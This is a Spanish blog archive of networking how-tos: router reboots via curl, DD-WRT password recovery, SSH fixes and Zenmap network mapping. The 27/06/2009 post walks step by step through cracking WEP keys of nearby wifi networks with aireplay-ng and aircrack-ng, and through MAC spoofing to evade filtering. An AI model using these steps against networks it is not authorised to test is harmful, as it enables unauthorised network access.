Archive for the ‘Redes y seguridad’ Category

h1

Como reiniciar Comtrend con firmware Poligon desde consola en GNU/Linux

01/07/2009

Para reiniciar este router con firmware Poligon desde consola es necesario Curl:

carlos@WhenIGrowUp:~$ sudo apt-get install curl
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se instalarán los siguientes paquetes NUEVOS:
curl
0 actualizados, 1 se instalarán, 0 para eliminar y 2 no actualizados.
Se necesita descargar 0B/198kB de archivos.
Se utilizarán 315kB de espacio de disco adicional después de desempaquetar.
Seleccionando el paquete curl previamente no seleccionado.
(Leyendo la base de datos ...
145189 ficheros y directorios instalados actualmente.)
Desempaquetando curl (de .../curl_7.18.0-1ubuntu2.1_amd64.deb) ...
Configurando curl (7.18.0-1ubuntu2.1) ...

y ejecutar la siguiente línea con los parámetros (usuario, clave e IP adaptados al router propio):

carlos@WhenIGrowUp:~$ curl -u admin:1234 http://172.26.0.1/rebootinfo.cgi
[...]
Reiniciando el Router
El Router ha sido configurado y se esta reiniciando.
Cierre la ventana de configuracion y espere 60 segundos antes de abrirla nuevamente. Si es necesario reconfigure la direccion IP de su tarjeta de red para que coincida con su nueva configuracion.
[...]

Posteriormente, si se desea programar un reinicio periódico, se puede incluir esta línea en el cron de cualquier equipo con GNU/Linux y curl que esté conectado al router.

h1

Como obtener contraseñas de redes inalámbricas protegidas con WEP

27/06/2009

Mediante una distribución como Wifislax y una tarjeta wifi como la Alfa Networks AWUS036H (con soporte para la inyección de paquetes), se puede obtener facilmente la contraseña de la mayoría de redes wifi. Para ello, se realiza un ataque en el que se constantemente se intenta autenticar contra el AP, de modo que en cada reto enviado se obtiene información de la clave. Cuando se dispone de suficiente información, se procede a analizarla para probar una clave que encaje con todos los paquetes capturados. Para ello es necesario seguir los siguientes pasos como usuario root:

0º) Si se utiliza Wifislax en arranque USB [ con un Asus EEE ] y [ con una tarjeta Alfa Networks AWUS036H ] es necesario añadir en las opciones de arranque (fase elección de kernel) el parámetro «nohotplug«.

1º) Arrancar el sistema e instalar la tarjeta:
# rmmod rtl8187
# modprobe r8187
# iwconfig wlan0 mode Monitor

Siendo este último paso opcional, ya que airodump-ng lo hará automaticamente en el siguiente paso.

2º) Escanear el espectro wifi en búsqueda de la red a descifrar.
# airodump-ng wlan0

Es conveniente elegir una red con un valor alto de «PWR» (Power, cobertura) para facilitar la transmisión de paquetes o con alto nivel de «beacons», así como el tipo de cifrado WEP (columna ENC).

3º) Iniciar la grabación, ejecutando airodump-ng y pasándole los parámetros obtenidos en el anterior paso:
# airodump-ng -c CANAL -w FICHERO_CAPTURA --bssid MAC_DEL_AP wlan0

Y se deja esta terminal activa grabando tráfico.

4º) Vincular la estación al AP:
# aireplay-ng -1 0 -a MAC_DEL_AP -h MAC_PROPIA_SI_SE_HA_CAMBIADO -e ESSID wlan0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:00:11:22)
22:47:17 Waiting for beacon frame (BSSID: 00:12:3A:00:00:00) on channel 12
22:47:18 Sending Authentication Request (Open System)
22:47:18 Authentication successful
22:47:18 Sending Association Request [ACK]
22:47:18 Association successful :-) (AID: 1)

5º) Realizar el ataque de repetición de vectores de inicialización:
# aireplay-ng -3 -b MAC_DEL_AP -h MAC_PROPIA_SI_SE_HA_CAMBIADO wlan0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:00:11:22)
22:47:46 Waiting for beacon frame (BSSID: 00:12:3A:00:00:00) on channel 12
Saving ARP requests in replay_arp-0627-224746.cap
You should also start airodump-ng to capture replies.
Read 3 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
(...)
Read 55092 packets (got 2 ARP requests and 2 ACKs), sent 4 packets...(546 pps)
(...)
Read 322692 packets (got 91802 ARP requests and 171137 ACKs), sent 159710 packets...(500 pps)

Es un proceso que durará varios minutos, dejar el terminal abierto y pasar al siguiente punto

6º) Volver a la terminal del punto 3º y observar el campo «data»: a los 10 ó 15 minutos se debe notar un incremento rápido y continuo del valor. Así mismo, si es posible acercarse al AP de modo que mejore la cobertura, se ganará tiempo. Cuando se tenga en el campo data «50.000» o más paquetes, se puede parar el proceso.

7º) Ejecutar aircrack:
# aircrack-ng -s FICHERO_CAPTURA.cap

Notas:
– Es conveniente utilizar las últimas versiones de las aplicaciones propuestas, especialmente en el caso de aircrack-ng donde el tiempo de cálculo para descifrar una clave mejora notablemente.
– Si se desea, se puede cambiar temporalmente la MAC de la tarjeta de red propia antes de comenzar toda la auditoría con el siguiente comando:
# macchanger --mac 00:11:22:33:44:55 wlan0
– Algunos APs tienen filtrado por MAC, lo cual hace más difícil este tipo de ataque. Conviene cambiar la MAC propia por la de una estación vinculada a él, si existe (visible mediante airodump-ng en la parte inferior si hay estaciones vinculadas).
– El paso 6º y 7º se pueden solapar para ganar tiempo. Tan solo es necesario hacer una copia del archivo de captura y ejecutar sobre ella aircrack-ng. Si no se obtienen resultados, en el tiempo en el que se ha realizado el cómputo el fichero origen de captura se habrá incrementado, con lo cual se tendrán más posibilidades:
# cp captura.cap temp.cap
# aircrack-ng temp.cap

No es conveniente ejecutar aircrack-ng sobre el fichero de captura directamente si éste todavía se está modificando.

h1

Como juntar varios capturas de tráfico en un fichero

26/06/2009

Para juntar varias capturas de tráfico, proceso habitualmente util en las capturas tomadas con airodump-ng, aunque también es aplicable a wireshark / ethereal, ó tcpdump por ejemplo), en GNU/Linux se puede utilizar la utilidad «mergecap«:

# mergecap -w salida.cap fichero1.cap fichero2.cap fichero3.cap
ó
# mergecap -w resultado/salida2.cap *.cap

Es una utilidad incluida en el paquete de Wireshark.

h1

Como resetear el password de DD-WRT

06/06/2009

Nota de vigencia (octubre de 2026): este artículo documenta procedimientos históricos de recuperación de contraseñas de DD-WRT. No utilices el método 30/30/30 ni variantes 90/90/90 sin verificar antes que el fabricante, el modelo exacto y su revisión de hardware lo admiten. No son procedimientos universales y un restablecimiento puede borrar toda la configuración. Antes de actuar, identifica el modelo y consulta su documentación específica; si todavía tienes acceso, guarda una copia de los ajustes.

Los nombres de usuario y credenciales mencionados más abajo corresponden a versiones o configuraciones antiguas y pueden no ser válidos para la tuya.


Se puede dar un problema con este firmware en el que el password no es recordado y por tanto no se tenga acceso al interfaz web o telnet de gestión.
Los routers o puntos de acceso compatibles con DD-WRT suelen tener una zona de memoria para el firmware y otra más pequeña (nvram) para almacenar las variables o datos de uso habitual. En ésta se almacena el password.

Para borrarla, antes de dar por perdido el aparato, y recuperar su funcionalidad (debrick) hay varios métodos, listados de menos a más agresivos:

– Reseteo 30/30/30: Consiste en tener arrancando el aparato, presionar el botón de reset de la parte posterior con un bolígrafo o similar durante 30 segundos, sin soltarlo desenchufar la corriente, esperar otros 30 segundos y sin soltarlo igualmente enchufarla de nuevo, esperando otros 30 segundos. Este método resetea la configuración, por lo que es necesario configurarlo desde cero nuevamente (en caso de ser un router, es aconsejable entonces tener a mano los datos de la conexión adsl antes de hacerlo). Entrar en http://192.168.1.1 . Si pide alguna contraseña, y el reseteo ha funcionado correctamente, utilizar como usuario «root» y password «admin«.

– Reseteo 90/90/90: igual que método 30/30/30 pero aplicando 90 segundos para cada intervalo.

– tftp DD-WRT: cargar de nuevo el firmware de DD-WRT, de cara a eliminar cualquier inconsistencia o fallo en el SO. Para ello se puede hacer sencillamente por tftp:

1.- Realizar un hard reset del router (reset 30/30/30).
2.- Reiniciarlo desenchufándole la corriente unos segundos.
3.- Establecer tu equipo con una IP del mismo rango que tiene ahora el DD-WRT (ej: 192.168.1.100, máscara 255.255.255.0, los demás valores no son necesarios especificarlos).
4.- Abrir una consola y mantener un ping al router/punto de acceso:
#ping 192.168.1.1
en Linux el ping es contínuo, no se interrumpe, en otros sistemas operativos suele ser necesario incorporar el parámetro -t

5.- Preparar en otra consola el siguiente comando pero NO ejecutarlo:
atftp --option "mode octet" --verbose -p -l dd-wrt.v24-11296_NEWD_micro.bin 192.168.1.1
donde evidentemente dd-wrt.v24-11296_NEWD_micro.bin es el fichero descargado de dd-wrt.com correspondiente, en este caso, al Linksys WAP54G.

6.- En este paso se flasheará el router. Para ello es necesario reiniciar el router desconectándolo de la corriente. En la ventana que está abierta con el ping se verá una secuencia similar a ésta:

From 192.168.7.19 icmp_seq=171 Destination Host Unreachable
From 192.168.7.19 icmp_seq=172 Destination Host Unreachable
From 192.168.7.19 icmp_seq=175 Destination Host Unreachable

64 bytes from 192.168.7.5: icmp_seq=177 ttl=100 time=1012 ms
64 bytes from 192.168.7.5: icmp_seq=179 ttl=100 time=1.71 ms
64 bytes from 192.168.7.5: icmp_seq=180 ttl=100 time=2.23 ms

64 bytes from 192.168.7.5: icmp_seq=193 ttl=64 time=1.29 ms
64 bytes from 192.168.7.5: icmp_seq=194 ttl=64 time=0.951 ms
64 bytes from 192.168.7.5: icmp_seq=195 ttl=64 time=0.811 ms

Las 3 primeras líneas son resultado de enviar ping al router estando éste apagado o reiniciándose. Las 3 siguientes, que llevan el TTL=100 son resultado de arrancar el router en modo debug, aceptando por tanto cualquier actualización de firmware. Las 3 últimas (TTL=64) ya indican que ese modo ya ha sido deshabilitado y por tanto comienza el arranque normal. Por tanto el objetivo es ejecutar la orden tftp cuando el punto de acceso esté respondiendo pings con TTL=100.

Para ello, reiniciarlo de nuevo y en cuanto se obtegan el primer echo de ping con TTL=100, ejecutar el comando dado de tftp. Éste indicará que el fichero se ha subido correctamente. El router estará grabando el nuevo firmware, por lo que es necesario esperar 5 minutos o hasta que devuelva ping con TTL=64.

6.- Reiniciar el router desenchufándole la corriente.

7.- Cuando la ventana de ping reciba respuesta, entrar en http://192.168.1.1 con el navegador y configurar normalmente el WAP54G.

– tftp OpenWRT: una opción más para intentar machacar el fichero de nvram es instalar una versión distinta de firmware que ocupe igual o más. Por ejemplo OpenWRT o un firmware compatible con el router concreto. El procedimiento es el descrito anteriormente. Después se instala de nuevo DD-WRT y se puede probar si el password ya está reseteado, ya que suelen compartir las mismas variables en la nvram.

– OpenWRT + erase nvram por web
: Si el método anterior no funciona, en el apartado de la web de configuración de OpenWRT «actualización de firmware» existe la opción de actualizarlo (con otro OpenWRT o con otro firmware, DD-WRT por ejemplo) marcando la opción «erase nvram por web», lo cual de realizarse con éxito solucionará el problema.

– OpenWRT + erase nvram por telnet: Con OpenWRT instalado y configurado el password a través de la web de administración, se entrará por Telnet (telnet 192.168.1.1 23) y se ejecutará:

#nvram set http_passwd = "admin"
#nvram commit

reiniciar y probar instalando DD-WRT. Si no, volver a la versión de OpenWRT, que es la que permite el acceso sin problema de password por telnet a la nvram, y borrarla:

#nvram erase
#vnram commit

Reiniciar y reinstalar DD-WRT por web o tftp.

– tftp firmware Linksys: Un método definitivo y 100% eficaz es la reinstalación del firmware de fábrica (descargable a través de la web de la marca del router) por tftp, reseteo posterior, entrar en la interfaz web (http://192.168.1.245, 255.255.255.0, usuario en blanco y password «admin» en caso del Linksys WAP54G) y desde allí ejecutar un «Reset defaults settings». Tras ello se puede instalar DD-WRT desde la misma web de administración.

– cable JTAG: Como última opción cabe decir el montaje de un cable de conexión que resetee fisicamente la memoria del router. Se puede encontrar más información aquí: http://www.dd-wrt.com/wiki/index.php/Recover_from_a_Bad_Flash#Recovery_by_JTAG_cable

Fuentes principales:
http://airfart.blogspot.com/2008/04/how-to-revive-bricked-wap54g-ver31.html
http://www.dd-wrt.com/wiki/index.php/Recover_from_a_Bad_Flash
http://www.dd-wrt.com/wiki/index.php/Espanol

Ejecute estas instrucciones bajo su propia responsabilidad.

h1

Cómo programar o realizar por consola un reinicio del router Linksys AG241 / AG241V2

10/05/2009

Si se desea programar un reinicio o automatizarlo para este modelo concreto de router, se puede realizar utilizando este sencillo script o la sigueinte versión que he modificado ligeramente:

#!/bin/sh
#original source: http://forums.whirlpool.net.au/forum-replies-archive.cfm/623775.html
#fixes: Carlos Gacimartín, http://gacimartin.es
#
#It is necessary to install CURL. (apt-get install curl in Debian/Ubuntu)
#Hosts to test:
HOSTS="194.179.1.100 www.terra.es www.google.es telefonica.es"
#
# email report when it fails. That of course is a local address on the same server... that address then forwards on to an external address
SUBJECT="Pings failed so I tried to reboot :("
EMAILID="cgacimartin@dominio.com"
#
# number of ping requests per host.
COUNT=3
RAWOUTPUT=""
#
for HOST in $HOSTS
do
ping -c $COUNT $HOST > RAWOUTPUT
if [ $? -ne 0 ]
then
logger "ping: $HOST unreachable"
echo "ping: $HOST unreachable"
else
exit 0 #no sense in going on if all is good
fi
done
#
echo $RAWOUTPUT | mail -s "$SUBJECT" $EMAILID
#
#Attention,in the CURL command choose:
# - SRebootvalidate : reboot software, only ADSL.
# - HRebootvalidate : reboot hardware, power failure simulation.
#and change the router IP and TWICE the user/password data.
#
curl --anyauth -s -u admin:password "http://172.26.0.1/Reboot.asp" "http://172.26.0.1/apply.cgi?submit_button=Reboot_validate&action=Rebootvalidate&submit_type=HRebootvalidate&reboot_username=admin&reboot_password=password"
#
exit 0

Además, se puede incluir en el cron:

#crontab -e
* * * * * /root/testear.router.AG241.sh

de modo que cada minuto compruebe la conectividad con Internet y reinicie el router si falla, a parte de enviar un correo.

Además, se puede comprobar remotamente el estado del router (conocer la última vez que se reinició), mediante snmp. Para ello es necesario activarla a través de la interfaz gráfica, y después ejecutar:

carlos@wifiMonit:~$ snmpwalk -c private -v 1 172.26.0.1 | grep hrSystemUptime
HOST-RESOURCES-MIB::hrSystemUptime.0 = Timeticks: (33329) 0:05:33.29

h1

Error SSH buffer_get_ret/buffer_get_int

08/05/2009

Ante este problema al conectar por ssh:

carlos@ikeys:~$ ssh corp1.google.es
buffer_get_ret: trying to get more bytes 4 than in buffer 0
buffer_get_int: buffer error

Se presenta el problema del un fichero «known_hosts» mal formado. Como solución se presentan dos alternativas:

Solución #1: Borrarlo
mv $HOME/.ssh/known_hosts $HOME/.ssh/known_hostsOLD
ó
rm $HOME/.ssh/known_hosts

Solución #2: Corregirlo
nano .ssh/known_hosts

Revisar el fichero de modo que cada entrada aparezca solo en una línea. De este modo todas las líneas deben empezar por "[1]".

El problema también puede ocurrir en el fichero authorized_keys.

h1

Conexión SSH lenta o con cortes

05/04/2009

En las actuales versiones de SSH (por ejemplo OpenSSH_5.1p1 Debian-5, OpenSSL 0.9.8g 19 Oct 2007 en Debian 5.0), al conectar a un servidor ssh se pueden producir retrasos, desconexiones o imposibilidad de conectar.

El problema más común es la resolución DNS equivocada del demonio sshd sobre el cliente que se intenta conectar. Se resuelve corrigiendo los DNS del servidor, incluyendo servidores DNS más fiables, y/o añadiendo la IP del cliente en el fichero /etc/hosts, así como verificando la IP propia en dicho fichero .

h1

Cómo visualizar la topología de una red con Zenmap y Nmap en Linux

04/02/2009

Actualización (2026): los enlaces de descarga de Nmap/Zenmap 4.76 y los comandos de instalación mediante paquetes RPM convertidos con alien pertenecen a 2009. Utiliza paquetes adecuados y actuales para tu distribución. Ejecuta exploraciones solo sobre redes propias o para las que dispongas de autorización y adapta intensidad y rango a las condiciones del entorno.


Una necesidad en redes es el estudio topológico de las mismas. Para ello existen herramientas como Zenmap, un interfaz gráfico para nmap, que además realiza un escaneo de la red generando automaticamente un diagrama de la misma.

zenmap3

Para ello es necesario:

1º) Descargar nmap 4.76 o posterior.
Descargar zenmap 4.76 o posterior.
Con versiones anteriores no funcionará.

2º) Instalar el software.
Los paquetes descargados son del tipo .rpm, formato de instalación de GNU/Linux Red Hat, Fedora o derivados. Si se desea instalar en otra distribución, es necesario adaptarlos al formato utilizado. En el caso de Debian ó (K)Ubuntu, se realizará mediante la utilidad «alien»:
# sudo apt-get install alien
# sudo alien nmap-4.76-1.i386.rpm
# sudo alien zenmap-4.76-1.noarch.rpm

Instalación:
# sudo dpkg -i nmap_4.76-2_i386.deb
# sudo dpkg -i zenmap-4.76-1.noarch

3º) Ejecución:
# sudo zenmap
Se mostrará el interfaz de nmap. La búsqueda más sencilla de la red que se puede hacer es:

nmap -T Aggressive -A -v 172.26.0.0/24
(sustituyendo logicamente el rango de red por el propio).

zenmap1

Tras un tiempo de escaneo, se obtendrá en la pestaña «Topology» el diagrama de red buscado:

zenmap2

h1

Acceder por SSH con claves públicas sin introducir la contraseña cada vez

15/11/2008

Actualización de seguridad (octubre de 2026): el artículo original utiliza claves DSA, que deben considerarse obsoletas para nuevas configuraciones. No reutilices los comandos de generación DSA del ejemplo histórico.

Procedimiento actual recomendado

ssh-keygen -t ed25519 -C "acceso-ssh"
ssh-copy-id -i ~/.ssh/id_ed25519.pub usuario@servidor
ssh usuario@servidor

Protege la clave privada con una frase de paso, usa un agente SSH cuando corresponda y revisa los permisos de ~/.ssh (700) y de la clave privada (600). El archivo authorized_keys se encuentra en el servidor de destino. No desactives la autenticación por contraseña hasta confirmar que el acceso con clave funciona y disponer de un método de recuperación.

Relacionado: automatizar copias de seguridad con SSH.


Hay veces que tenemos que entrar sucesivamente a una máquina por ssh, y se pierde mucho tiempo en el login. Para ello hay una utilidad de SSH que permite el logueo automático sin que ello signifique decremento de seguridad. Para ello se genera una clave pública y se exporta a la otra máquina, asumiendo el demonio de ssh a partir de entonces el acceso desde esa máquina, con ese usuario y con esa clave, como permitido:

carlos@host1:~$ ssh-keygen -t dsa
carlos@host1:~$ ssh-copy-id -i .ssh/id_dsa.pub pepito@host2

De esta manera el usuario carlos puede entrar en host2 como usuario «pepito» sin tener que teclear siempre la contraseña. Es una solución util para interacciones automática entre sistemas sin tener que almacenar la contraseña del usuario en texto plano, cron o demás.

A parte, es conveniente en sistemas compartidos modificar los permisos de acceso a los ficheros de claves generados para evitar malos usos:
carlos@WhenIGrewUp:~$ chmod 700 .ssh
carlos@WhenIGrewUp:~$ chmod 600 .ssh/authorized_keys
carlos@WhenIGrewUp:~$ chmod 600 .ssh/id_dsa
carlos@WhenIGrewUp:~$ chmod 744 .ssh/id_dsa.pub

En determinadas ocasiones no funciona esta solución. Para ello es conveniente unificar la versión de servidor ssh existente en los nodos. Se puede averiguar facilmente con la utilidad scanssh:

carlos@WhenIGrewUp:~$ sudo scanssh 172.26.9
172.26.0.9:22 SSH-2.0-OpenSSH_4.6p1 Debian-5ubuntu0.6
Effective host scan rate: 3.91 hosts/s

carlos@WhenIGrewUp:~$ sudo scanssh 172.26.5
172.26.0.5:22 SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
Effective host scan rate: 1.52 hosts/s

carlos@shirley:~$ sudo scanssh 172.26.0.4
172.26.0.4:22 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2
Effective host scan rate: 3.33 hosts/s

Otros artículos relacionados: Automatizar respaldos usando SSH

h1

Problema de teclado en tightvncserver y gnome

30/09/2007

Si al instalar tightvncserver, vino o vncserver sobre una versión actual de Gnome se produce una desconfiguración del teclado al acceder por vnc (mientras que en sesión local, ssh u otras funciona correctamente) talque al escribir por ejemplo «asd» lo interpreta como «abf», se puede corregir (mientras se espera que incluyan una solución oficial los desarrolladores) de la siguiente manera:

1.- Ejecutar /usr/bin/gconf-editor(mediante la navegación con el ratón por los directorios del sistema con Nautilus).

2.- Buscar la entrada /desktop/gnome/peripherals/keyboard/kbd

3.- Editar la entrada «layouts», borrando todos sus valores y dejando sólo uno incorrecto (si sólo existe uno US-145 por ejemplo, cambiarlo por «asd» por ejemplo).

4.- Cerrarlo y reiniciar.

El método no es muy ortodoxo pero soluciona el problema temporalmente. Fuente.